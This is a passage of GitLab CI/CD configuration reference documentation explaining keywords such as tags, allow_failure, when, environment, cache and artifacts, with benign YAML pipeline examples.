`'job1' job needs 'job2' job, but it was not added to the pipeline` - -In this example: - -- When the branch is the default branch, the `build` job exists in the pipeline, and the `rspec` - job waits for it to complete before starting. -- When the branch is not the default branch, the `build` job does not exist in the pipeline. - The `rspec` job runs immediately (similar to `needs: []`) because its `needs` - relationship to the `build` job is optional. - -```yaml -build: - stage: build - rules: - - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH - -rspec: - stage: test - needs: - - job: build - optional: true -``` - -### `tags` - -Use `tags` to select a specific runner from the list of all runners that are -available for the project. - -When you register a runner, you can specify the runner's tags, for -example `ruby`, `postgres`, `development`. - -In the following example, the job is run by a runner that -has both `ruby` and `postgres` tags defined. - -```yaml -job: - tags: - - ruby - - postgres -``` - -You can use tags to run different jobs on different platforms. For -example, if you have an OS X runner with tag `osx` and a Windows runner with tag -`windows`, you can run a job on each platform: - -```yaml -windows job: - stage: - - build - tags: - - windows - script: - - echo Hello, %USERNAME%! - -osx job: - stage: - - build - tags: - - osx - script: - - echo "Hello, $USER!" -``` - -### `allow_failure` - -Use `allow_failure` when you want to let a job fail without impacting the rest of the CI -suite. The default value is `false`, except for [manual](#whenmanual) jobs that use -the `when: manual` syntax. - -In jobs that use [`rules:`](#rules), all jobs default to `allow_failure: false`, -*including* `when: manual` jobs. - -When `allow_failure` is set to `true` and the job fails, the job shows an orange warning in the UI. -However, the logical flow of the pipeline considers the job a -success/passed, and is not blocked. - -Assuming all other jobs are successful, the job's stage and its pipeline -show the same orange warning. However, the associated commit is marked as -"passed", without warnings. - -In the following example, `job1` and `job2` run in parallel. If `job1` -fails, it doesn't stop the next stage from running, because it's marked with -`allow_failure: true`: - -```yaml -job1: - stage: test - script: - - execute_script_that_will_fail - allow_failure: true - -job2: - stage: test - script: - - execute_script_that_will_succeed - -job3: - stage: deploy - script: - - deploy_to_staging -``` - -#### `allow_failure:exit_codes` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/273157) in GitLab 13.8. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292024) in GitLab 13.9. - -Use `allow_failure:exit_codes` to dynamically control if a job should be allowed -to fail. You can list which exit codes are not considered failures. The job fails -for any other exit code: - -```yaml -test_job_1: - script: - - echo "Run a script that results in exit code 1. This job fails." - - exit 1 - allow_failure: - exit_codes: 137 - -test_job_2: - script: - - echo "Run a script that results in exit code 137. This job is allowed to fail." - - exit 137 - allow_failure: - exit_codes: - - 137 - - 255 -``` - -### `when` - -Use `when` to implement jobs that run in case of failure or despite the -failure. - -The valid values of `when` are: - -1. `on_success` (default) - Execute job only when all jobs in earlier stages succeed, - or are considered successful because they have `allow_failure: true`. -1. `on_failure` - Execute job only when at least one job in an earlier stage fails. -1. `always` - Execute job regardless of the status of jobs in earlier stages. -1. `manual` - Execute job [manually](#whenmanual). -1. `delayed` - [Delay the execution of a job](#whendelayed) for a specified duration. - Added in GitLab 11.14. -1. `never`: - - With job [`rules`](#rules), don't execute job. - - With [`workflow:rules`](#workflow), don't run pipeline. - -In the following example, the script: - -1. Executes `cleanup_build_job` only when `build_job` fails. -1. Always executes `cleanup_job` as the last step in pipeline regardless of - success or failure. -1. Executes `deploy_job` when you run it manually in the GitLab UI. - -```yaml -stages: - - build - - cleanup_build - - test - - deploy - - cleanup - -build_job: - stage: build - script: - - make build - -cleanup_build_job: - stage: cleanup_build - script: - - cleanup build when failed - when: on_failure - -test_job: - stage: test - script: - - make test - -deploy_job: - stage: deploy - script: - - make deploy - when: manual - -cleanup_job: - stage: cleanup - script: - - cleanup after jobs - when: always -``` - -#### `when:manual` - -A manual job is a type of job that is not executed automatically and must be explicitly -started by a user. You might want to use manual jobs for things like deploying to production. - -To make a job manual, add `when: manual` to its configuration. - -When the pipeline starts, manual jobs display as skipped and do not run automatically. -They can be started from the pipeline, job, [environment](../environments/index.md#configure-manual-deployments), -and deployment views. - -Manual jobs can be either optional or blocking: - -- **Optional**: Manual jobs have [`allow_failure: true](#allow_failure) set by default - and are considered optional. The status of an optional manual job does not contribute - to the overall pipeline status. A pipeline can succeed even if all its manual jobs fail. - -- **Blocking**: To make a blocking manual job, add `allow_failure: false` to its configuration. - Blocking manual jobs stop further execution of the pipeline at the stage where the - job is defined. To let the pipeline continue running, click **{play}** (play) on - the blocking manual job. - - Merge requests in projects with [merge when pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md) - enabled can't be merged with a blocked pipeline. Blocked pipelines show a status - of **blocked**. - -When you use [`rules:`](#rules), `allow_failure` defaults to `false`, including for manual jobs. - -To trigger a manual job, a user must have permission to merge to the assigned branch. -You can use [protected branches](../../user/project/protected_branches.md) to more strictly -[protect manual deployments](#protecting-manual-jobs) from being run by unauthorized users. - -In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201938) and later, you -can use `when:manual` in the same job as [`trigger`](#trigger). In GitLab 13.4 and -earlier, using them together causes the error `jobs:#{job-name} when should be on_success, on_failure or always`. - -##### Protecting manual jobs **(PREMIUM)** - -Use [protected environments](../environments/protected_environments.md) -to define a list of users authorized to run a manual job. You can authorize only -the users associated with a protected environment to trigger manual jobs, which can: - -- More precisely limit who can deploy to an environment. -- Block a pipeline until an approved user "approves" it. - -To protect a manual job: - -1. Add an `environment` to the job. For example: - - ```yaml - deploy_prod: - stage: deploy - script: - - echo "Deploy to production server" - environment: - name: production - url: https://example.com - when: manual - rules: - - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH - ``` - -1. In the [protected environments settings](../environments/protected_environments.md#protecting-environments), - select the environment (`production` in this example) and add the users, roles or groups - that are authorized to trigger the manual job to the **Allowed to Deploy** list. Only those in - this list can trigger this manual job, as well as GitLab administrators - who are always able to use protected environments. - -You can use protected environments with blocking manual jobs to have a list of users -allowed to approve later pipeline stages. Add `allow_failure: false` to the protected -manual job and the pipeline's next stages only run after the manual job is triggered -by authorized users. - -#### `when:delayed` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/51352) in GitLab 11.4. - -Use `when: delayed` to execute scripts after a waiting period, or if you want to avoid -jobs immediately entering the `pending` state. - -You can set the period with `start_in` keyword. The value of `start_in` is an elapsed time in seconds, unless a unit is -provided. `start_in` must be less than or equal to one week. Examples of valid values include: - -- `'5'` -- `5 seconds` -- `30 minutes` -- `1 day` -- `1 week` - -When a stage includes a delayed job, the pipeline doesn't progress until the delayed job finishes. -You can use this keyword to insert delays between different stages. - -The timer of a delayed job starts immediately after the previous stage completes. -Similar to other types of jobs, a delayed job's timer doesn't start unless the previous stage passes. - -The following example creates a job named `timed rollout 10%` that is executed 30 minutes after the previous stage completes: - -```yaml -timed rollout 10%: - stage: deploy - script: echo 'Rolling out 10% ...' - when: delayed - start_in: 30 minutes -``` - -To stop the active timer of a delayed job, click the **{time-out}** (**Unschedule**) button. -This job can no longer be scheduled to run automatically. You can, however, execute the job manually. - -To start a delayed job immediately, click the **Play** button. -Soon GitLab Runner picks up and starts the job. - -### `environment` - -Use `environment` to define the [environment](../environments/index.md) that a job deploys to. -For example: - -```yaml -deploy to production: - stage: deploy - script: git push production HEAD:main - environment: production -``` - -You can assign a value to the `environment` keyword by using: - -- Plain text, like `production`. -- Variables, including CI/CD variables, predefined, secure, or variables - defined in the `.gitlab-ci.yml` file. - -You can't use variables defined in a `script` section. - -If you specify an `environment` and no environment with that name exists, -an environment is created. - -#### `environment:name` - -Set a name for an [environment](../environments/index.md). For example: - -```yaml -deploy to production: - stage: deploy - script: git push production HEAD:main - environment: - name: production -``` - -Common environment names are `qa`, `staging`, and `production`, but you can use any -name you want. - -You can assign a value to the `name` keyword by using: - -- Plain text, like `staging`. -- Variables, including CI/CD variables, predefined, secure, or variables - defined in the `.gitlab-ci.yml` file. - -You can't use variables defined in a `script` section. - -The environment `name` can contain: - -- Letters -- Digits -- Spaces -- `-` -- `_` -- `/` -- `$` -- `{` -- `}` - -#### `environment:url` - -Set a URL for an [environment](../environments/index.md). For example: - -```yaml -deploy to production: - stage: deploy - script: git push production HEAD:main - environment: - name: production - url: https://prod.example.com -``` - -After the job completes, you can access the URL by using a button in the merge request, -environment, or deployment pages. - -You can assign a value to the `url` keyword by using: - -- Plain text, like `https://prod.example.com`. -- Variables, including CI/CD variables, predefined, secure, or variables - defined in the `.gitlab-ci.yml` file. - -You can't use variables defined in a `script` section. - -#### `environment:on_stop` - -Closing (stopping) environments can be achieved with the `on_stop` keyword -defined under `environment`. It declares a different job that runs to close the -environment. - -Read the `environment:action` section for an example. - -#### `environment:action` - -Use the `action` keyword to specify jobs that prepare, start, or stop environments. - -| **Value** | **Description** | -|-----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `start` | Default value. Indicates that job starts the environment. The deployment is created after the job starts. | -| `prepare` | Indicates that the job is only preparing the environment. It does not trigger deployments. [Read more about preparing environments](../environments/index.md#prepare-an-environment-without-creating-a-deployment). | -| `stop` | Indicates that job stops deployment. See the example below. | - -Take for instance: - -```yaml -review_app: - stage: deploy - script: make deploy-app - environment: - name: review/$CI_COMMIT_REF_NAME - url: https://$CI_ENVIRONMENT_SLUG.example.com - on_stop: stop_review_app - -stop_review_app: - stage: deploy - variables: - GIT_STRATEGY: none - script: make delete-app - when: manual - environment: - name: review/$CI_COMMIT_REF_NAME - action: stop -``` - -In the above example, the `review_app` job deploys to the `review` -environment. A new `stop_review_app` job is listed under `on_stop`. -After the `review_app` job is finished, it triggers the -`stop_review_app` job based on what is defined under `when`. In this case, -it is set to `manual`, so it needs a [manual action](#whenmanual) from -the GitLab UI to run. - -Also in the example, `GIT_STRATEGY` is set to `none`. If the -`stop_review_app` job is [automatically triggered](../environments/index.md#stopping-an-environment), -the runner won't try to check out the code after the branch is deleted. - -The example also overwrites global variables. If your `stop` `environment` job depends -on global variables, use [anchor variables](#yaml-anchors-for-variables) when you set the `GIT_STRATEGY` -to change the job without overriding the global variables. - -The `stop_review_app` job is **required** to have the following keywords defined: - -- `when`, defined at either: - - [The job level](#when). - - [In a rules clause](#rules). If you use `rules:` and `when: manual`, you should - also set [`allow_failure: true`](#allow_failure) so the pipeline can complete - even if the job doesn't run. -- `environment:name` -- `environment:action` - -Additionally, both jobs should have matching [`rules`](#only--except) -or [`only/except`](#only--except) configuration. - -In the examples above, if the configuration is not identical: - -- The `stop_review_app` job might not be included in all pipelines that include the `review_app` job. -- It is not possible to trigger the `action: stop` to stop the environment automatically. - -#### `environment:auto_stop_in` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20956) in GitLab 12.8. - -The `auto_stop_in` keyword is for specifying the lifetime of the environment, -that when expired, GitLab automatically stops them. - -For example, - -```yaml -review_app: - script: deploy-review-app - environment: - name: review/$CI_COMMIT_REF_NAME - auto_stop_in: 1 day -``` - -When the environment for `review_app` is created, the environment's lifetime is set to `1 day`. -Every time the review app is deployed, that lifetime is also reset to `1 day`. - -For more information, see -[the environments auto-stop documentation](../environments/index.md#stop-an-environment-after-a-certain-time-period) - -#### `environment:kubernetes` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27630) in GitLab 12.6. - -Use the `kubernetes` keyword to configure deployments to a -[Kubernetes cluster](../../user/project/clusters/index.md) that is associated with your project. - -For example: - -```yaml -deploy: - stage: deploy - script: make deploy-app - environment: - name: production - kubernetes: - namespace: production -``` - -This configuration sets up the `deploy` job to deploy to the `production` -environment, using the `production` -[Kubernetes namespace](https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/). - -For more information, see -[Available settings for `kubernetes`](../environments/index.md#configure-kubernetes-deployments). - -NOTE: -Kubernetes configuration is not supported for Kubernetes clusters -that are [managed by GitLab](../../user/project/clusters/index.md#gitlab-managed-clusters). -To follow progress on support for GitLab-managed clusters, see the -[relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/38054). - -#### `environment:deployment_tier` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/300741) in GitLab 13.10. - -Use the `deployment_tier` keyword to specify the tier of the deployment environment: - -```yaml -deploy: - script: echo - environment: - name: customer-portal - deployment_tier: production -``` - -For more information, -see [Deployment tier of environments](../environments/index.md#deployment-tier-of-environments). - -#### Dynamic environments - -Use CI/CD [variables](../variables/README.md) to dynamically name environments. - -For example: - -```yaml -deploy as review app: - stage: deploy - script: make deploy - environment: - name: review/$CI_COMMIT_REF_NAME - url: https://$CI_ENVIRONMENT_SLUG.example.com/ -``` - -The `deploy as review app` job is marked as a deployment to dynamically -create the `review/$CI_COMMIT_REF_NAME` environment. `$CI_COMMIT_REF_NAME` -is a [CI/CD variable](../variables/README.md) set by the runner. The -`$CI_ENVIRONMENT_SLUG` variable is based on the environment name, but suitable -for inclusion in URLs. If the `deploy as review app` job runs in a branch named -`pow`, this environment would be accessible with a URL like `https://review-pow.example.com/`. - -The common use case is to create dynamic environments for branches and use them -as Review Apps. You can see an example that uses Review Apps at -<https://gitlab.com/gitlab-examples/review-apps-nginx/>. - -### `cache` - -Use `cache` to specify a list of files and directories to -cache between jobs. You can only use paths that are in the local working copy. - -If `cache` is defined outside the scope of jobs, it's set -globally and all jobs use that configuration. - -Caching is shared between pipelines and jobs. Caches are restored before [artifacts](#artifacts). - -Read how caching works and find out some good practices in the -[caching dependencies documentation](../caching/index.md). - -#### `cache:paths` - -Use the `paths` directive to choose which files or directories to cache. Paths -are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly link outside it. -You can use Wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming)) -patterns and: - -- In [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620) and later, -[`doublestar.Glob`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#Match). -- In GitLab Runner 12.10 and earlier, -[`filepath.Match`](https://pkg.go.dev/path/filepath#Match). - -Cache all files in `binaries` that end in `.apk` and the `.config` file: - -```yaml -rspec: - script: test - cache: - paths: - - binaries/*.apk - - .config -``` - -Locally defined cache overrides globally defined options. The following `rspec` -job caches only `binaries/`: - -```yaml -cache: - paths: - - my/files - -rspec: - script: test - cache: - key: rspec - paths: - - binaries/ -``` - -The cache is shared between jobs, so if you're using different -paths for different jobs, you should also set a different `cache:key`. -Otherwise cache content can be overwritten. - -#### `cache:key` - -The `key` keyword defines the affinity of caching between jobs. -You can have a single cache for all jobs, cache per-job, cache per-branch, -or any other way that fits your workflow. You can fine tune caching, -including caching data between different jobs or even different branches. - -The `cache:key` variable can use any of the -[predefined variables](../variables/README.md). The default key, if not -set, is just literal `default`, which means everything is shared between -pipelines and jobs by default. - -For example, to enable per-branch caching: - -```yaml -cache: - key: "$CI_COMMIT_REF_SLUG" - paths: - - binaries/ -``` - -If you use **Windows Batch** to run your shell scripts you need to replace -`$` with `%`: - -```yaml -cache: - key: "%CI_COMMIT_REF_SLUG%" - paths: - - binaries/ -``` - -The `cache:key` variable can't contain the `/` character, or the equivalent -URI-encoded `%2F`. A value made only of dots (`.`, `%2E`) is also forbidden. - -You can specify a [fallback cache key](#fallback-cache-key) to use if the specified `cache:key` is not found. - -##### Multiple caches - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32814) in GitLab 13.10. -> - [Feature Flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/321877), in GitLab 13.12. - -You can have a maximum of four caches: - -```yaml -test-job: - stage: build - cache: - - key: - files: - - Gemfile.lock - paths: - - vendor/ruby - - key: - files: - - yarn.lock - paths: - - .yarn-cache/ - script: - - bundle install --path=vendor - - yarn install --cache-folder .yarn-cache - - echo Run tests... -``` - -If multiple caches are combined with a [Fallback cache key](#fallback-cache-key), -the fallback is fetched multiple times if multiple caches are not found. - -#### Fallback cache key - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1534) in GitLab Runner 13.4. - -You can use the `$CI_COMMIT_REF_SLUG` [variable](#variables) to specify your [`cache:key`](#cachekey). -For example, if your `$CI_COMMIT_REF_SLUG` is `test` you can set a job -to download cache that's tagged with `test`. - -If a cache with this tag is not found, you can use `CACHE_FALLBACK_KEY` to -specify a cache to use when none exists. - -In the following example, if the `$CI_COMMIT_REF_SLUG` is not found, the job uses the key defined -by the `CACHE_FALLBACK_KEY` variable: - -```yaml -variables: - CACHE_FALLBACK_KEY: fallback-key - -cache: - key: "$CI_COMMIT_REF_SLUG" - paths: - - binaries/ -``` - -##### `cache:key:files` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18986) in GitLab v12.5. - -The `cache:key:files` keyword extends the `cache:key` functionality by making it easier -to reuse some caches, and rebuild them less often, which speeds up subsequent pipeline -runs. - -When you include `cache:key:files`, you must also list the project files that are used to generate the key, up to a maximum of two files. -The cache `key` is a SHA checksum computed from the most recent commits (up to two, if two files are listed) -that changed the given files. If neither file is changed in any commits, -the fallback key is `default`. - -```yaml -cache: - key: - files: - - Gemfile.lock - - package.json - paths: - - vendor/ruby - - node_modules -``` - -This example creates a cache for Ruby and Node.js dependencies that -is tied to current versions of the `Gemfile.lock` and `package.json` files. Whenever one of -these files changes, a new cache key is computed and a new cache is created. Any future -job runs that use the same `Gemfile.lock` and `package.json` with `cache:key:files` -use the new cache, instead of rebuilding the dependencies. - -##### `cache:key:prefix` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18986) in GitLab v12.5. - -When you want to combine a prefix with the SHA computed for `cache:key:files`, -use the `prefix` keyword with `key:files`. -For example, if you add a `prefix` of `test`, the resulting key is: `test-feef9576d21ee9b6a32e30c5c79d0a0ceb68d1e5`. -If neither file is changed in any commits, the prefix is added to `default`, so the -key in the example would be `test-default`. - -Like `cache:key`, `prefix` can use any of the [predefined variables](../variables/README.md), -but cannot include: - -- the `/` character (or the equivalent URI-encoded `%2F`) -- a value made only of `.` (or the equivalent URI-encoded `%2E`) - -```yaml -cache: - key: - files: - - Gemfile.lock - prefix: ${CI_JOB_NAME} - paths: - - vendor/ruby - -rspec: - script: - - bundle exec rspec -``` - -For example, adding a `prefix` of `$CI_JOB_NAME` -causes the key to look like: `rspec-feef9576d21ee9b6a32e30c5c79d0a0ceb68d1e5` and -the job cache is shared across different branches. If a branch changes -`Gemfile.lock`, that branch has a new SHA checksum for `cache:key:files`. A new cache key -is generated, and a new cache is created for that key. -If `Gemfile.lock` is not found, the prefix is added to -`default`, so the key in the example would be `rspec-default`. - -#### `cache:untracked` - -Set `untracked: true` to cache all files that are untracked in your Git -repository: - -```yaml -rspec: - script: test - cache: - untracked: true -``` - -Cache all Git untracked files and files in `binaries`: - -```yaml -rspec: - script: test - cache: - untracked: true - paths: - - binaries/ -``` - -#### `cache:when` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18969) in GitLab 13.5 and GitLab Runner v13.5.0. - -`cache:when` defines when to save the cache, based on the status of the job. You can -set `cache:when` to: - -- `on_success` (default): Save the cache only when the job succeeds. -- `on_failure`: Save the cache only when the job fails. -- `always`: Always save the cache. - -For example, to store a cache whether or not the job fails or succeeds: - -```yaml -rspec: - script: rspec - cache: - paths: - - rspec/ - when: 'always' -``` - -#### `cache:policy` - -The default behavior of a caching job is to download the files at the start of -execution, and to re-upload them at the end. Any changes made by the -job are persisted for future runs. This behavior is known as the `pull-push` cache -policy. - -If you know the job does not alter the cached files, you can skip the upload step -by setting `policy: pull` in the job specification. You can add an ordinary cache -job at an earlier stage to ensure the cache is updated from time to time: - -```yaml -stages: - - setup - - test - -prepare: - stage: setup - cache: - key: gems - paths: - - vendor/bundle - script: - - bundle install --deployment - -rspec: - stage: test - cache: - key: gems - paths: - - vendor/bundle - policy: pull - script: - - bundle exec rspec ... -``` - -Use the `pull` policy when you have many jobs executing in parallel that use caches. This -policy speeds up job execution and reduces load on the cache server. - -If you have a job that unconditionally recreates the cache without -referring to its previous contents, you can skip the download step. -To do so, add `policy: push` to the job. - -### `artifacts` - -Use `artifacts` to specify a list of files and directories that are -attached to the job when it [succeeds, fails, or always](#artifactswhen). - -The artifacts are sent to GitLab after the job finishes. They are -available for download in the GitLab UI if the size is not -larger than the [maximum artifact size](../../user/gitlab_com/index.md#gitlab-cicd). - -By default, jobs in later stages automatically download all the artifacts created -by jobs in earlier stages. You can control artifact download behavior in jobs with -[`dependencies`](#dependencies). - -When using the [`needs`](#artifact-downloads-with-needs) keyword, jobs can only download -artifacts from the jobs defined in the `needs` configuration. - -Job artifacts are only collected for successful jobs by default, and -artifacts are restored after [caches](#cache). - -[Read more about artifacts](../pipelines/job_artifacts.md). - -#### `dependencies` - -By default, all `artifacts` from previous stages -are passed to each job. However, you can use the `dependencies` keyword to -define a limited list of jobs to fetch artifacts from. You can also set a job to download no artifacts at all. - -To use this feature, define `dependencies` in context of the job and pass -a list of all previous jobs the artifacts should be downloaded from. - -You can define jobs from stages that were executed before the current one. -An error occurs if you define jobs from the current or an upcoming stage. - -To prevent a job from downloading artifacts, define an empty array. - -When you use `dependencies`, the status of the previous job is not considered. -If a job fails or it's a manual job that isn't triggered, no error occurs. - -The following example defines two jobs with artifacts: `build:osx` and -`build:linux`. When the `test:osx` is executed, the artifacts from `build:osx` -are downloaded and extracted in the context of the build. The same happens -for `test:linux` and artifacts from `build:linux`. - -The job `deploy` downloads artifacts from all previous jobs because of -the [stage](#stages) precedence: - -```yaml -build:osx: - stage: build - script: make build:osx - artifacts: - paths: - - binaries/ - -build:linux: - stage: build - script: make build:linux - artifacts: - paths: - - binaries/ - -test:osx: - stage: test - script: make test:osx - dependencies: - - build:osx - -test:linux: - stage: test - script: make test:linux - dependencies: - - build:linux - -deploy: - stage: deploy - script: make deploy -``` - -##### When a dependent job fails - -> Introduced in GitLab 10.3. - -If the artifacts of the job that is set as a dependency are -[expired](#artifactsexpire_in) or -[deleted](../pipelines/job_artifacts.md#delete-job-artifacts), then -the dependent job fails. - -#### `artifacts:exclude` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15122) in GitLab 13.1 -> - Requires GitLab Runner 13.1 - -`exclude` makes it possible to prevent files from being added to an artifacts -archive. - -Similar to [`artifacts:paths`](#artifactspaths), `exclude` paths are relative -to the project directory. You can use Wildcards that use -[glob](https://en.wikipedia.org/wiki/Glob_(programming)) or -[`doublestar.PathMatch`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#PathMatch) patterns. - -For example, to store all files in `binaries/`, but not `*.o` files located in -subdirectories of `binaries/`: - -```yaml -artifacts: - paths: - - binaries/ - exclude: - - binaries/**/*.o -``` - -Unlike [`artifacts:paths`](#artifactspaths), `exclude` paths are not recursive. To exclude all of the contents of a directory, you can match them explicitly rather than matching the directory itself. - -For example, to store all files in `binaries/` but nothing located in the `temp/` subdirectory: - -```yaml -artifacts: - paths: - - binaries/ - exclude: - - binaries/temp/**/* -``` - -Files matched by [`artifacts:untracked`](#artifactsuntracked) can be excluded using -`artifacts:exclude` too. - -#### `artifacts:expire_in` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16267) in GitLab 13.0 behind a disabled feature flag, the latest job artifacts are kept regardless of expiry time. -> - [Made default behavior](https://gitlab.com/gitlab-org/gitlab/-/issues/229936) in GitLab 13.4. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241026) in GitLab 13.8, keeping latest job artifacts can be disabled at the project level. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276583) in GitLab 13.9, keeping latest job artifacts can be disabled instance-wide. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321323) in GitLab 13.12, the latest pipeline artifacts are kept regardless of expiry time. - -Use `expire_in` to specify how long [job artifacts](../pipelines/job_artifacts.md) are stored before -they expire and are deleted. The `expire_in` setting does not affect: - -- Artifacts from the latest job, unless this keeping the latest job artifacts is: - - [Disabled at the project level](../pipelines/job_artifacts.md#keep-artifacts-from-most-recent-successful-jobs). - - [Disabled instance-wide](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines). -- [Pipeline artifacts](../pipelines/pipeline_artifacts.md). It's not possible to specify an - expiration date for these: - - Pipeline artifacts from the latest pipeline are kept forever. - - Other pipeline artifacts are erased after one week. - -The value of `expire_in` is an elapsed time in seconds, unless a unit is provided. Valid values -include: - -- `'42'` -- `42 seconds` -- `3 mins 4 sec` -- `2 hrs 20 min` -- `2h20min` -- `6 mos 1 day` -- `47 yrs 6 mos and 4d` -- `3 weeks and 2 days` -- `never` - -To expire artifacts one week after being uploaded: - -```yaml -job: - artifacts: - expire_in: 1 week -``` - -The expiration time period begins when the artifact is uploaded and stored on GitLab. If the expiry -time is not defined, it defaults to the -[instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration) -(30 days by default). - -To override the expiration date and protect artifacts from being automatically deleted: - -- Use the **Keep** button on the job page. -- [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/22761), set the value of - `expire_in` to `never`. - -After their expiry, artifacts are deleted hourly by default (using a cron job), and are not -accessible anymore. - -#### `artifacts:expose_as` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15018) in GitLab 12.5. - -Use the `expose_as` keyword to expose [job artifacts](../pipelines/job_artifacts.md) -in the [merge request](../../user/project/merge_requests/index.md) UI. - -For example, to match a single file: - -```yaml -test: - script: ["echo 'test' > file.txt"] - artifacts: - expose_as: 'artifact 1' - paths: ['file.txt'] -``` - -With this configuration, GitLab adds a link **artifact 1** to the relevant merge request -that points to `file1.txt`. To access the link, select **View exposed artifact** -below the pipeline graph in the merge request overview. - -An example that matches an entire directory: - -```yaml -test: - script: ["mkdir test && echo 'test' > test/file.txt"] - artifacts: - expose_as: 'artifact 1' - paths: ['test/'] -``` - -Note the following: - -- Artifacts do not display in the merge request UI when using variables to define the `artifacts:paths`. -- A maximum of 10 job artifacts per merge request can be exposed. -- Glob patterns are unsupported. -- If a directory is specified, the link is to the job [artifacts browser](../pipelines/job_artifacts.md#download-job-artifacts) if there is more than - one file in the directory. -- For exposed single file artifacts with `.html`, `.htm`, `.txt`, `.json`, `.xml`, - and `.log` extensions, if [GitLab Pages](../../administration/pages/index.md) is: - - Enabled, GitLab automatically renders the artifact. - - Not enabled, the file is displayed in the artifacts browser. - -#### `artifacts:name` - -Use the `name` directive to define the name of the created artifacts -archive. You can specify a unique name for every archive. The `artifacts:name` -variable can make use of any of the [predefined variables](../variables/README.md). -The default name is `artifacts`, which becomes `artifacts.zip` when you download it. - -To create an archive with a name of the current job: - -```yaml -job: - artifacts: - name: "$CI_JOB_NAME" - paths: - - binaries/ -``` - -To create an archive with a name of the current branch or tag including only -the binaries directory: - -```yaml -job: - artifacts: - name: "$CI_COMMIT_REF_NAME" - paths: - - binaries/ -``` - -If your branch-name contains forward slashes -(for example `feature/my-feature`) it's advised to use `$CI_COMMIT_REF_SLUG` -instead of `$CI_COMMIT_REF_NAME` for proper naming of the artifact. - -To create an archive with a name of the current job and the current branch or -tag including only the binaries directory: - -```yaml -job: - artifacts: - name: "$CI_JOB_NAME-$CI_COMMIT_REF_NAME" - paths: - - binaries/ -``` - -To create an archive with a name of the current [stage](#stages) and branch name: - -```yaml -job: - artifacts: - name: "$CI_JOB_STAGE-$CI_COMMIT_REF_NAME" - paths: - - binaries/ -``` - ---- - -If you use **Windows Batch** to run your shell scripts you need to replace -`$` with `%`: - -```yaml -job: - artifacts: - name: "%CI_JOB_STAGE%-%CI_COMMIT_REF_NAME%" - paths: - - binaries/ -``` - -If you use **Windows PowerShell** to run your shell scripts you need to replace -`$` with `$env:`: - -```yaml -job: - artifacts: - name: "$env:CI_JOB_STAGE-$env:CI_COMMIT_REF_NAME" - paths: - - binaries/ -``` - -#### `artifacts:paths` - -Paths are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly -link outside it. You can use Wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming)) -patterns and: - -- In [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620) and later, -[`doublestar.Glob`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#Match). -- In GitLab Runner 12.10 and earlier, -[`filepath.Match`](https://pkg.go.dev/path/filepath#Match). - -To restrict which jobs a specific job fetches artifacts from, see [dependencies](#dependencies). - -Send all files in `binaries` and `.config`: - -```yaml -artifacts: - paths: - - binaries/ - - .config -``` - -To disable artifact passing, define the job with empty [dependencies](#dependencies): - -```yaml -job: - stage: build - script: make build - dependencies: [] -``` - -You may want to create artifacts only for tagged releases to avoid filling the -build server storage with temporary build artifacts. - -Create artifacts only for tags (`default-job` doesn't create artifacts): - -```yaml -default-job: - script: - - mvn test -U - rules: - - if: $CI_COMMIT_BRANCH - -release-job: - script: - - mvn package -U - artifacts: - paths: - - target/*.war - rules: - - if: $CI_COMMIT_TAG -``` - -You can use wildcards for directories too. For example, if you want to get all the files inside the directories that end with `xyz`: - -```yaml -job: - artifacts: - paths: - - path/*xyz/* -``` - -#### `artifacts:public` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49775) in GitLab 13.8 -> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. -> - It's disabled on GitLab.com. -> - It's recommended for production use. - -Use `artifacts:public` to determine whether the job artifacts should be -publicly available. - -The default for `artifacts:public` is `true` which means that the artifacts in -public pipelines are available for download by anonymous and guest users: - -```yaml -artifacts: - public: true -``` - -To deny read access for anonymous and guest users to artifacts in public -pipelines, set `artifacts:public` to `false`: - -```yaml -artifacts: - public: false -``` - -#### `artifacts:reports` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2. -> - Requires GitLab Runner 11.2 and above. - -Use 